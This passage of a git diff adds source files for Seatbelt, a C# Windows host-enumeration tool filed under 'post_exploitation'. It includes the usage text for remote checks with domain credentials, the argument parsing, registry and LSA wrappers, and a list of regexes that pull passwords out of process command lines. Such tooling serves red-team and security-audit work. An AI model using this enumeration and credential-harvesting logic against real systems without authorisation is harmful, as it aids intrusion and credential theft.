#%%%%##, \n\n"); + } + + + private void Usage() + { + // List all available commands + _outputSink.WriteHost("Available commands (+ means remote usage is supported):\n"); + _runtime.AllCommands.ForEach(c => + { + if (c.SupportRemote) + { + _outputSink.WriteHost($" + {c.Command,-22} - {c.Description}"); + } + else + { + _outputSink.WriteHost($" {c.Command,-22} - {c.Description}"); + } + }); + + + // List all command groupings + var commandGroups = Enum.GetNames(typeof(CommandGroup)).ToArray(); + _outputSink.WriteHost("\n\nSeatbelt has the following command groups: " + string.Join(", ", commandGroups)); + _outputSink.WriteHost("\n You can invoke command groups with \"Seatbelt.exe \"\n"); + + var sb = new StringBuilder(); + foreach (var group in commandGroups) + { + + if (group == "All") + { + sb.Append($" \"Seatbelt.exe -group={group.ToLower()}\" runs all commands\n\n"); + continue; + } + + sb.Append($" \"Seatbelt.exe -group={group.ToLower()}\" runs the following commands:\n\n "); + + var groupCommands = _runtime.AllCommands + .Where(c => c.Group.Contains((CommandGroup)Enum.Parse(typeof(CommandGroup), group))) + .Select(c => c.Command) + .ToArray(); + + for (var i = 0; i < groupCommands.Length; i++) + { + sb.Append(groupCommands[i]); + + if (i != groupCommands.Length - 1) + { + sb.Append(", "); + } + + if (i % 4 == 0 && i != 0) + { + sb.Append("\n "); + } + } + sb.AppendLine("\n"); + } + + _outputSink.WriteHost(sb.ToString()); + _outputSink.WriteHost("Examples:"); + _outputSink.WriteHost(" 'Seatbelt.exe [Command2] ...' will run one or more specified checks only"); + _outputSink.WriteHost(" 'Seatbelt.exe -full' will return complete results for a command without any filtering."); + _outputSink.WriteHost(" 'Seatbelt.exe \" [argument]\"' will pass an argument to a command that supports it (note the quotes)."); + _outputSink.WriteHost(" 'Seatbelt.exe -group=all' will run ALL enumeration checks, can be combined with \"-full\"."); + _outputSink.WriteHost(" 'Seatbelt.exe -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\\USER -password=PASSWORD]' will run an applicable check remotely"); + _outputSink.WriteHost(" 'Seatbelt.exe -group=remote -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\\USER -password=PASSWORD]' will run remote specific checks"); + _outputSink.WriteHost(" 'Seatbelt.exe -group=system -outputfile=\"C:\\Temp\\out.txt\"' will run system checks and output to a .txt file."); + _outputSink.WriteHost(" 'Seatbelt.exe -group=user -q -outputfile=\"C:\\Temp\\out.json\"' will run in quiet mode with user checks and output to a .json file."); + + } + + public void Dispose() + { + _outputSink.Dispose(); + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Seatbelt.csproj b/post_exploitation/Seatbelt/Seatbelt/Seatbelt.csproj new file mode 100644 index 0000000..d62090e --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Seatbelt.csproj @@ -0,0 +1,260 @@ + + + + + Debug + AnyCPU + {AEC32155-D589-4150-8FE7-2900DF4554C8} + Exe + Properties + Seatbelt + Seatbelt + v3.5 + 512 + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + 9.0 + enable + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + false + true + CS8632 + 8.0 + enable + + + AnyCPU + none + true + bin\Release\ + + + prompt + 4 + false + false + true + CS8632,CA1401 + 8.0 + enable + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + False + .NET Framework 3.5 SP1 + true + + + + + + + + + \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/SeatbeltArgumentParser.cs b/post_exploitation/Seatbelt/Seatbelt/SeatbeltArgumentParser.cs new file mode 100644 index 0000000..f7dd9c1 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/SeatbeltArgumentParser.cs @@ -0,0 +1,82 @@ +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Seatbelt +{ + class SeatbeltArgumentParser + { + private string[] Arguments { get; set; } + public SeatbeltArgumentParser(string[] args) + { + Arguments = args; + } + + public SeatbeltOptions Parse() + { + var originalArgs = Arguments; + + try + { + var quietMode = ParseAndRemoveSwitchArgument("-q"); + var filterResults = !ParseAndRemoveSwitchArgument("-Full"); + + var commandGroups = ParseAndRemoveKeyValueArgument("-Group"); + var outputFile = ParseAndRemoveKeyValueArgument("-OutputFile"); + var computerName = ParseAndRemoveKeyValueArgument("-ComputerName"); + var userName = ParseAndRemoveKeyValueArgument("-Username"); + var password = ParseAndRemoveKeyValueArgument("-Password"); + + + + return new SeatbeltOptions( + Arguments.ToList(), // Everything else that isn't parsed is interpreted as a command + commandGroups == null ? new List() : commandGroups.Split(',').Select(g => g.Trim()).ToList(), + outputFile, + filterResults, + quietMode, + computerName, + userName, + password + ); + } + finally + { + Arguments = originalArgs; + } + + } + + private bool ParseAndRemoveSwitchArgument(string key) + { + if (Arguments.Contains(key, StringComparer.CurrentCultureIgnoreCase)) + { + Arguments = Arguments.Where(c => c.ToLower() != key.ToLower()).ToArray(); + return true; + } + + return false; + } + + private string? ParseAndRemoveKeyValueArgument(string key) + { + var arg = Arguments.FirstOrDefault( + c => c.ToLower().StartsWith($"{key.ToLower()}=") + ); + + if (string.IsNullOrEmpty(arg)) + return null; + + try + { + var value = arg.Substring(arg.IndexOf('=') + 1); + Arguments = Arguments.Where(c => !c.ToLower().StartsWith(key.ToLower())).ToArray(); + return value; + } + catch (Exception e) + { + throw new Exception($"Error parsing password argument \"{key}\": {e}"); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/SeatbeltOptions.cs b/post_exploitation/Seatbelt/Seatbelt/SeatbeltOptions.cs new file mode 100644 index 0000000..8f3fa93 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/SeatbeltOptions.cs @@ -0,0 +1,28 @@ +using System.Collections.Generic; + +namespace Seatbelt +{ + class SeatbeltOptions + { + public SeatbeltOptions(IEnumerable commands, IEnumerable commandGroup, string? outputFile, bool filterResults, bool quietMode, string? computerName, string? userName, string? password) + { + Commands = commands; + CommandGroups = commandGroup; + OutputFile = outputFile; + FilterResults = filterResults; + QuietMode = quietMode; + ComputerName = computerName; + UserName = userName; + Password = password; + } + + public IEnumerable Commands { get; set; } + public IEnumerable CommandGroups { get; set; } + public string? OutputFile { get; set; } + public bool FilterResults { get; set; } + public bool QuietMode { get; set; } + public string? ComputerName { get; set; } + public string? UserName { get; set; } + public string? Password { get; set; } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Util/ExtensionMethods.cs b/post_exploitation/Seatbelt/Seatbelt/Util/ExtensionMethods.cs new file mode 100644 index 0000000..52f7c25 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Util/ExtensionMethods.cs @@ -0,0 +1,45 @@ +using System; + +namespace Seatbelt.Util +{ + internal static class ExtensionMethods + { + // From https://stackoverflow.com/questions/4108828/generic-extension-method-to-see-if-an-enum-contains-a-flag + public static bool HasFlag(this Enum variable, Enum value) + { + if (variable == null) + return false; + + if (value == null) + throw new ArgumentNullException(nameof(value)); + + // Not as good as the .NET 4 version of this function, but should be good enough + if (!Enum.IsDefined(variable.GetType(), value)) + { + throw new ArgumentException( + $"Enumeration type mismatch. The flag is of type '{value.GetType()}', was expecting '{variable.GetType()}'."); + } + + var num = Convert.ToUInt64(value); + return ((Convert.ToUInt64(variable) & num) == num); + + } + + public static T[] SubArray(this T[] data, int index, int length) + { + var result = new T[length]; + Array.Copy(data, index, result, 0, length); + return result; + } + + public static string TrimEnd(string input, string suffixToRemove) + { + if (input.EndsWith(suffixToRemove, StringComparison.OrdinalIgnoreCase)) + { + return input.Substring(0, input.Length - suffixToRemove.Length); + } + + return input; + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Util/FileUtil.cs b/post_exploitation/Seatbelt/Seatbelt/Util/FileUtil.cs new file mode 100644 index 0000000..0f1829e --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Util/FileUtil.cs @@ -0,0 +1,148 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Seatbelt.Util +{ + class FileUtil + { + public static bool IsDotNetAssembly(string fileName) + { + try + { + // from https://stackoverflow.com/a/15608028 + using (Stream fileStream = new FileStream(fileName, FileMode.Open, FileAccess.Read)) + using (BinaryReader binaryReader = new BinaryReader(fileStream)) + { + if (fileStream.Length < 64) + { + return false; + } + + //PE Header starts @ 0x3C (60). Its a 4 byte header. + fileStream.Position = 0x3C; + uint peHeaderPointer = binaryReader.ReadUInt32(); + if (peHeaderPointer == 0) + { + peHeaderPointer = 0x80; + } + + // Ensure there is at least enough room for the following structures: + // 24 byte PE Signature & Header + // 28 byte Standard Fields (24 bytes for PE32+) + // 68 byte NT Fields (88 bytes for PE32+) + // >= 128 byte Data Dictionary Table + if (peHeaderPointer > fileStream.Length - 256) + { + return false; + } + + // Check the PE signature. Should equal 'PE\0\0'. + fileStream.Position = peHeaderPointer; + uint peHeaderSignature = binaryReader.ReadUInt32(); + if (peHeaderSignature != 0x00004550) + { + return false; + } + + // skip over the PEHeader fields + fileStream.Position += 20; + + const ushort PE32 = 0x10b; + const ushort PE32Plus = 0x20b; + + // Read PE magic number from Standard Fields to determine format. + var peFormat = binaryReader.ReadUInt16(); + if (peFormat != PE32 && peFormat != PE32Plus) + { + return false; + } + + // Read the 15th Data Dictionary RVA field which contains the CLI header RVA. + // When this is non-zero then the file contains CLI data otherwise not. + ushort dataDictionaryStart = (ushort)(peHeaderPointer + (peFormat == PE32 ? 232 : 248)); + fileStream.Position = dataDictionaryStart; + + uint cliHeaderRva = binaryReader.ReadUInt32(); + if (cliHeaderRva == 0) + { + return false; + } + + return true; + } + } + catch { + return false; + } + } + } + + public static class IniFileHelper + { + // https://code.msdn.microsoft.com/windowsdesktop/Reading-and-Writing-Values-85084b6a + // MIT license + + public static int capacity = 512; + + + [DllImport("kernel32", CharSet = CharSet.Unicode)] + private static extern int GetPrivateProfileString(string section, string key, string defaultValue, StringBuilder value, int size, string filePath); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode)] + static extern int GetPrivateProfileString(string? section, string? key, string defaultValue, [In, Out] char[] value, int size, string filePath); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode)] + private static extern int GetPrivateProfileSection(string section, IntPtr keyValue, int size, string filePath); + + public static string[] ReadSections(string filePath) + { + // first line will not recognize if ini file is saved in UTF-8 with BOM + while (true) + { + var chars = new char[capacity]; + var size = GetPrivateProfileString(null, null, "", chars, capacity, filePath); + + if (size == 0) + return new string[] { }; + + if (size < capacity - 2) + { + var result = new string(chars, 0, size); + var sections = result.Split(new char[] { '\0' }, StringSplitOptions.RemoveEmptyEntries); + return sections; + } + + capacity *= 2; + } + } + + + public static string[] ReadKeyValuePairs(string section, string filePath) + { + while (true) + { + var returnedString = Marshal.AllocCoTaskMem(capacity * sizeof(char)); + var size = GetPrivateProfileSection(section, returnedString, capacity, filePath); + + if (size == 0) + { + Marshal.FreeCoTaskMem(returnedString); + return new string[] {}; + } + + if (size < capacity - 2) + { + var result = Marshal.PtrToStringAuto(returnedString, size - 1); + Marshal.FreeCoTaskMem(returnedString); + var keyValuePairs = result.Split('\0'); + return keyValuePairs; + } + + Marshal.FreeCoTaskMem(returnedString); + capacity *= 2; + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Util/LsaWrapper.cs b/post_exploitation/Seatbelt/Seatbelt/Util/LsaWrapper.cs new file mode 100644 index 0000000..b76cfa5 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Util/LsaWrapper.cs @@ -0,0 +1,185 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Runtime.InteropServices; +using System.Security.Principal; +using static Seatbelt.Interop.Advapi32; +using static Seatbelt.Interop.Netapi32; + +namespace Seatbelt.Util +{ + internal class LsaWrapper : IDisposable + { + enum Access : int + { + POLICY_READ = 0x20006, + POLICY_ALL_ACCESS = 0x00F0FFF, + POLICY_EXECUTE = 0X20801, + POLICY_WRITE = 0X207F8 + } + const uint STATUS_ACCESS_DENIED = 0xc0000022; + const uint STATUS_INSUFFICIENT_RESOURCES = 0xc000009a; + const uint STATUS_NO_MEMORY = 0xc0000017; + const uint STATUS_NO_MORE_ENTRIES = 0xc000001A; + const uint ERROR_NO_MORE_ITEMS = 2147483674; + const uint ERROR_PRIVILEGE_DOES_NOT_EXIST = 3221225568; + IntPtr lsaHandle; + + + + /// + /// Creates a new LSA wrapper for the local machine + /// + public LsaWrapper() + : this(Environment.MachineName) + { + + } + + + /// + /// Creates a new LSA wrapper for the specified MachineName + /// + /// The name of the machine that should be connected to + public LsaWrapper(string MachineName) + { + LSA_OBJECT_ATTRIBUTES lsaAttr; + lsaAttr.RootDirectory = IntPtr.Zero; + lsaAttr.ObjectName = IntPtr.Zero; + lsaAttr.Attributes = 0; + lsaAttr.SecurityDescriptor = IntPtr.Zero; + lsaAttr.SecurityQualityOfService = IntPtr.Zero; + lsaAttr.Length = Marshal.SizeOf(typeof(LSA_OBJECT_ATTRIBUTES)); + lsaHandle = IntPtr.Zero; + LSA_UNICODE_STRING[]? system = null; + if (MachineName != null) + { + system = new LSA_UNICODE_STRING[1]; + system[0] = InitLsaString(MachineName); + } + var ret = LsaOpenPolicy(system, ref lsaAttr, (int)Access.POLICY_ALL_ACCESS, out lsaHandle); + TestReturnValue(ret); + } + + + /// + /// Reads the user accounts which have the specific privilege + /// + /// The name of the privilege for which the accounts with this right should be enumerated + public List ReadPrivilege(string Privilege) + { + var privileges = new LSA_UNICODE_STRING[1]; + privileges[0] = InitLsaString(Privilege); + var ret = LsaEnumerateAccountsWithUserRight(lsaHandle, privileges, out var buffer, out var count); + var Accounts = new List(); + + if (ret == 0) + { + var LsaInfo = new LSA_ENUMERATION_INFORMATION[count]; + + var elemOffs = buffer; + for (var i = 0; i < count; i++) + { + LsaInfo[i] = (LSA_ENUMERATION_INFORMATION)Marshal.PtrToStructure((IntPtr)elemOffs, typeof(LSA_ENUMERATION_INFORMATION)); + elemOffs = (IntPtr)(elemOffs.ToInt64() + Marshal.SizeOf(typeof(LSA_ENUMERATION_INFORMATION))); + var SID = new SecurityIdentifier(LsaInfo[i].PSid); + + Accounts.Add(ResolveAccountName(SID)); + } + return Accounts; + } + TestReturnValue(ret); + return Accounts; + } + + + /// + /// Resolves the SID into it's account name. If the SID cannot be resolved the SDDL for the SID (for example "S-1-5-21-3708151440-578689555-182056876-1009") is returned. + /// + /// The Security Identifier to resolve to an account name + /// An account name for example "NT AUTHORITY\LOCAL SERVICE" or SID in SDDL form + private Principal ResolveAccountName(SecurityIdentifier sid) + { + string accountName = ""; + string user = ""; + string domain = ""; + + try { accountName = sid.Translate(typeof(NTAccount)).Value; } + catch (Exception) { } + + var parts = accountName.Split('\\'); + + if (parts.Length == 1) + { + user = parts[0]; + } + if (parts.Length == 2) + { + user = parts[1]; + domain = parts[0]; + } + + return new Principal( + sid.Value, + null, + user, + domain + ); + } + + + /// + /// Tests the return value from Win32 method calls + /// + /// The return value from the a Win32 method call + private void TestReturnValue(uint ReturnValue) + { + if (ReturnValue == 0) return; + if (ReturnValue == ERROR_PRIVILEGE_DOES_NOT_EXIST) { return; } + if (ReturnValue == ERROR_NO_MORE_ITEMS) { return; } + if (ReturnValue == STATUS_ACCESS_DENIED) { throw new UnauthorizedAccessException(); } + if ((ReturnValue == STATUS_INSUFFICIENT_RESOURCES) || (ReturnValue == STATUS_NO_MEMORY)) { throw new OutOfMemoryException(); } + throw new Win32Exception(LsaNtStatusToWinError((int)ReturnValue)); + } + + + /// + /// Disposes of this LSA wrapper + /// + public void Dispose() + { + if (lsaHandle != IntPtr.Zero) + { + LsaClose(lsaHandle); + lsaHandle = IntPtr.Zero; + } + GC.SuppressFinalize(this); + } + + + /// + /// Occurs on destruction of the LSA Wrapper + /// + ~LsaWrapper() + { + Dispose(); + } + + + /// + /// Converts the specified string to an LSA string value + /// + /// + public static LSA_UNICODE_STRING InitLsaString(string Value) + { + if (Value.Length > 0x7ffe) throw new ArgumentException("String too long"); + var lus = new LSA_UNICODE_STRING + { + Buffer = Value, + Length = (ushort)(Value.Length * sizeof(char)) + }; + lus.MaximumLength = (ushort)(lus.Length + sizeof(char)); + return lus; + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Util/MiscUtil.cs b/post_exploitation/Seatbelt/Seatbelt/Util/MiscUtil.cs new file mode 100644 index 0000000..d0816a6 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Util/MiscUtil.cs @@ -0,0 +1,131 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Collections; + +namespace Seatbelt.Util +{ + class MiscUtil + { + public static DateTime UnixEpochToDateTime(long unixTime) + { + var epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc); + try + { + return epoch.AddMilliseconds(unixTime).ToLocalTime(); + } + catch + { + return epoch; + } + } + + public static byte[] Combine(byte[] first, byte[] second) + { + return first.Concat(second).ToArray(); + } + + public static bool IsBase64String(string s) + { + s = s.Trim(); + return (s.Length % 4 == 0) && Regex.IsMatch(s, @"^[a-zA-Z0-9\+/]*={0,3}$", RegexOptions.None); + } + + // from https://stackoverflow.com/questions/2106877/is-there-a-faster-way-than-this-to-find-all-the-files-in-a-directory-and-all-sub + public static IEnumerable GetFileList(string fileSearchPatterns, string rootFolderPath) + { + // |-delineated search terms + string[] searchPatterns = fileSearchPatterns.Split('|'); + + if (Directory.Exists(rootFolderPath)) + { + Queue pending = new Queue(); + pending.Enqueue(rootFolderPath); + string[] tmp; + while (pending.Count > 0) + { + rootFolderPath = pending.Dequeue(); + + foreach (string searchPattern in searchPatterns) + { + try + { + tmp = Directory.GetFiles(rootFolderPath, searchPattern); + } + catch + { + continue; + } + for (int i = 0; i < tmp.Length; i++) + { + yield return tmp[i]; + } + } + + try + { + tmp = Directory.GetDirectories(rootFolderPath); + } + catch + { + continue; + } + for (int i = 0; i < tmp.Length; i++) + { + pending.Enqueue(tmp[i]); + } + } + } + } + + public static Regex[] GetProcessCmdLineRegex() + { + // helper that returns the set of "sensitive" cmdline regular expressions + // adapted from @djhohnstein's EventLogParser project - https://github.com/djhohnstein/EventLogParser/blob/master/EventLogParser/EventLogHelpers.cs + // combined with scraping from https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands + + Regex[] processCmdLineRegex = + { + //new Regex(@"(New-Object.*System.Management.Automation.PSCredential.*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(ConvertTo-SecureString.*AsPlainText.*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(net(.exe)?.*user .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(net(.exe)?.*use .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(cmdkey(.exe)?.*/pass:.*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(ssh(.exe)?.*-i .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(psexec(.exe)?.*-p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(psexec64(.exe)?.*-p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(winrm(.vbs)?.*-p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(winrs(.exe)?.*/p(assword)? .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(putty(.exe)?.*-pw .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(pscp(.exe)?.*-pw .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(kitty(.exe)?.*(-pw|-pass) .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(bitsadmin(.exe)?.*(/RemoveCredentials|/SetCredentials) .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(bootcfg(.exe)?.*/p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(certreq(.exe)?.*-p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(certutil(.exe)?.*-p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(driverquery(.exe)?.*/p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(eventcreate(.exe)?.*/p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(getmac(.exe)?.*/p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(gpfixup(.exe)?.*/pwd:.*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(gpresult(.exe)?.*/p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(mapadmin(.exe)?.*-p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(mount(.exe)?.*-p:.*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(nfsadmin(.exe)?.*-p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(openfiles(.exe)?.*/p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(cscript.*-w .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(schtasks(.exe)?.*(/p|/rp) .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(setx(.exe)?.*/p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(systeminfo(.exe)?.*/p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(takeown(.exe)?.*/p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(taskkill(.exe)?.*/p .*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(tscon(.exe)?.*/password:.*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(wecutil(.exe)?.*(/up|/cup|/p):.*)", RegexOptions.IgnoreCase & RegexOptions.Multiline), + new Regex(@"(wmic(.exe)?.*/password:.*)", RegexOptions.IgnoreCase & RegexOptions.Multiline) + }; + + return processCmdLineRegex; + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Util/RegistryUtil.cs b/post_exploitation/Seatbelt/Seatbelt/Util/RegistryUtil.cs new file mode 100644 index 0000000..175f2cc --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Util/RegistryUtil.cs @@ -0,0 +1,471 @@ +using Microsoft.Win32; +using Microsoft.Win32.SafeHandles; +using Seatbelt.Interop; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Linq; +using System.Management; +using System.Reflection; +using System.Security.AccessControl; + +namespace Seatbelt.Util +{ + public enum RegistryHiveType + { + X86, + X64 + } + + [Flags] + public enum RegistryAccessMask + { + QueryValue = 0x0001, + SetValue = 0x0002, + CreateSubKey = 0x0004, + EnumerateSubKeys = 0x0008, + Notify = 0x0010, + CreateLink = 0x0020, + WoW6432 = 0x0200, + Wow6464 = 0x0100, + Write = 0x20006, + Read = 0x20019, + Execute = 0x20019, + AllAccess = 0xF003F + } + + public class RegistryKeyValue + { + public RegistryKeyValue(string path, RegistryValueKind kind, object value) + { + Path = path; + Kind = kind; + Value = value; + } + public string Path { get; } + public RegistryValueKind Kind { get; } + public object Value { get; } + } + + public static class RegistryUtil + { + // For 3.5 compat. Taken from https://stackoverflow.com/questions/26217199/what-are-some-alternatives-to-registrykey-openbasekey-in-net-3-5 + public static RegistryKey? OpenBaseKey(RegistryHive registryHive, RegistryHiveType registryType) + { + var _hiveKeys = new Dictionary + { + { RegistryHive.ClassesRoot, new UIntPtr(0x80000000u) }, + { RegistryHive.CurrentConfig, new UIntPtr(0x80000005u) }, + { RegistryHive.CurrentUser, new UIntPtr(0x80000001u) }, + { RegistryHive.DynData, new UIntPtr(0x80000006u) }, + { RegistryHive.LocalMachine, new UIntPtr(0x80000002u) }, + { RegistryHive.PerformanceData, new UIntPtr(0x80000004u) }, + { RegistryHive.Users, new UIntPtr(0x80000003u) } + }; + + var _accessMasks = new Dictionary + { + { RegistryHiveType.X64, RegistryAccessMask.Wow6464 }, + { RegistryHiveType.X86, RegistryAccessMask.WoW6432 } + }; + + if (Environment.OSVersion.Platform != PlatformID.Win32NT || Environment.OSVersion.Version.Major <= 5) + throw new PlatformNotSupportedException( + "The platform or operating system must be Windows XP or later."); + + var hiveKey = _hiveKeys[registryHive]; + var flags = RegistryAccessMask.QueryValue | RegistryAccessMask.EnumerateSubKeys | _accessMasks[registryType]; + + var result = Advapi32.RegOpenKeyEx(hiveKey, string.Empty, 0, (uint)flags, out var keyHandlePointer); + if (result == 0) + { + var safeRegistryHandleType = typeof(SafeHandleZeroOrMinusOneIsInvalid).Assembly.GetType("Microsoft.Win32.SafeHandles.SafeRegistryHandle"); + var safeRegistryHandleConstructor = safeRegistryHandleType.GetConstructor(BindingFlags.Instance | BindingFlags.NonPublic, null, new[] { typeof(IntPtr), typeof(bool) }, null); // .NET < 4 + if (safeRegistryHandleConstructor == null) + { + safeRegistryHandleConstructor = safeRegistryHandleType.GetConstructor( + BindingFlags.Instance | BindingFlags.Public, null, new[] { typeof(IntPtr), typeof(bool) }, + null); // .NET >= 4 + } + + var keyHandle = safeRegistryHandleConstructor.Invoke(new object[] { keyHandlePointer, true }); + var net3Constructor = typeof(RegistryKey).GetConstructor(BindingFlags.Instance | BindingFlags.NonPublic, null, new[] { safeRegistryHandleType, typeof(bool) }, null); + var net4Constructor = typeof(RegistryKey).GetConstructor(BindingFlags.Instance | BindingFlags.NonPublic, null, new[] { typeof(IntPtr), typeof(bool), typeof(bool), typeof(bool), typeof(bool) }, null); + object key; + + if (net4Constructor != null) + { + key = net4Constructor.Invoke(new object[] { keyHandlePointer, true, false, false, hiveKey == _hiveKeys[RegistryHive.PerformanceData] }); + } + else if (net3Constructor != null) + { + key = net3Constructor.Invoke(new object[] { keyHandle, true }); + } + else + { + var keyFromHandleMethod = typeof(RegistryKey).GetMethod("FromHandle", BindingFlags.Static | BindingFlags.Public, null, new[] { safeRegistryHandleType }, null); + key = keyFromHandleMethod.Invoke(null, new object[] { keyHandle }); + } + + var field = typeof(RegistryKey).GetField("keyName", BindingFlags.Instance | BindingFlags.NonPublic); + if (field != null) + { + field.SetValue(key, string.Empty); + } + + return (RegistryKey)key; + } + + if (result == 2) // NOT_FOUND + { + return null; + } + + throw new Win32Exception(result); + } + + private static RegistryKeyValue? GetValue(RegistryHive hive, string path, string value, RegistryHiveType view = RegistryHiveType.X64) + { + var regKey = OpenBaseKey(hive, view)?.OpenSubKey(path, RegistryKeyPermissionCheck.Default, RegistryRights.QueryValues); + var regKeyValue = regKey?.GetValue(value); + + if (regKey == null || regKeyValue == null) + return null; + + var kind = regKey.GetValueKind(value); + + return new RegistryKeyValue( + path, + kind, + regKeyValue + ); + } + + public static string? GetStringValue(RegistryHive hive, string path, string value, RegistryHiveType view = RegistryHiveType.X64) + { + var regValue = GetValue(hive, path, value, view); + + return regValue?.Value.ToString(); + } + + public static string? GetStringValue(RegistryHive hive, string path, string value, ManagementClass wmiRegProv) + { + // WMI flavor + try + { + var inParams = wmiRegProv.GetMethodParameters("GetStringValue"); + inParams["hDefKey"] = (UInt32)hive; + inParams["sSubKeyName"] = path; + inParams["sValueName"] = value; + var outParams = wmiRegProv.InvokeMethod("GetStringValue", inParams, null); + return outParams.GetPropertyValue("sValue") == null ? null : (string)outParams.GetPropertyValue("sValue"); + } + catch + { + return ""; + } + } + + public static string[] GetMultiStringValue(RegistryHive hive, string path, string value, ManagementClass wmiRegProv) + { + // WMI flavor + try + { + var inParams = wmiRegProv.GetMethodParameters("GetMultiStringValue"); + inParams["hDefKey"] = (UInt32)hive; + inParams["sSubKeyName"] = path; + inParams["sValueName"] = value; + var outParams = wmiRegProv.InvokeMethod("GetMultiStringValue", inParams, null); + return outParams.GetPropertyValue("sValue") == null ? new string[] { } : (string[])outParams.GetPropertyValue("sValue"); + } + catch + { + return new string[] { }; + } + } + + public static string? GetExpandedStringValue(RegistryHive hive, string path, string value, ManagementClass wmiRegProv) + { + // WMI flavor + try + { + var inParams = wmiRegProv.GetMethodParameters("GetExpandedStringValue"); + inParams["hDefKey"] = (UInt32)hive; + inParams["sSubKeyName"] = path; + inParams["sValueName"] = value; + var outParams = wmiRegProv.InvokeMethod("GetExpandedStringValue", inParams, null); + return outParams.GetPropertyValue("sValue") == null ? null : (string)outParams.GetPropertyValue("sValue"); + } + catch + { + return ""; + } + } + + public static uint? GetDwordValue(RegistryHive hive, string path, string value, RegistryHiveType view = RegistryHiveType.X64) + { + var regValue = GetValue(hive, path, value, view); + + if (regValue == null) + return null; + + if (uint.TryParse($"{regValue.Value}", out var output)) + { + return output; + } + + try + { + // for big values + return unchecked((uint)((int)regValue.Value)); + } + catch + { + return null; + } + } + + public static uint? GetDwordValue(RegistryHive hive, string path, string value, ManagementClass wmiRegProv) + { + // WMI flavor + try + { + var inParams = wmiRegProv.GetMethodParameters("GetDWORDValue"); + inParams["hDefKey"] = (UInt32)hive; + inParams["sSubKeyName"] = path; + inParams["sValueName"] = value; + var outParams = wmiRegProv.InvokeMethod("GetDWORDValue", inParams, null); + return outParams.GetPropertyValue("uValue") == null ? null : (uint?)outParams.GetPropertyValue("uValue"); + } + catch + { + return null; + } + } + + public static long? 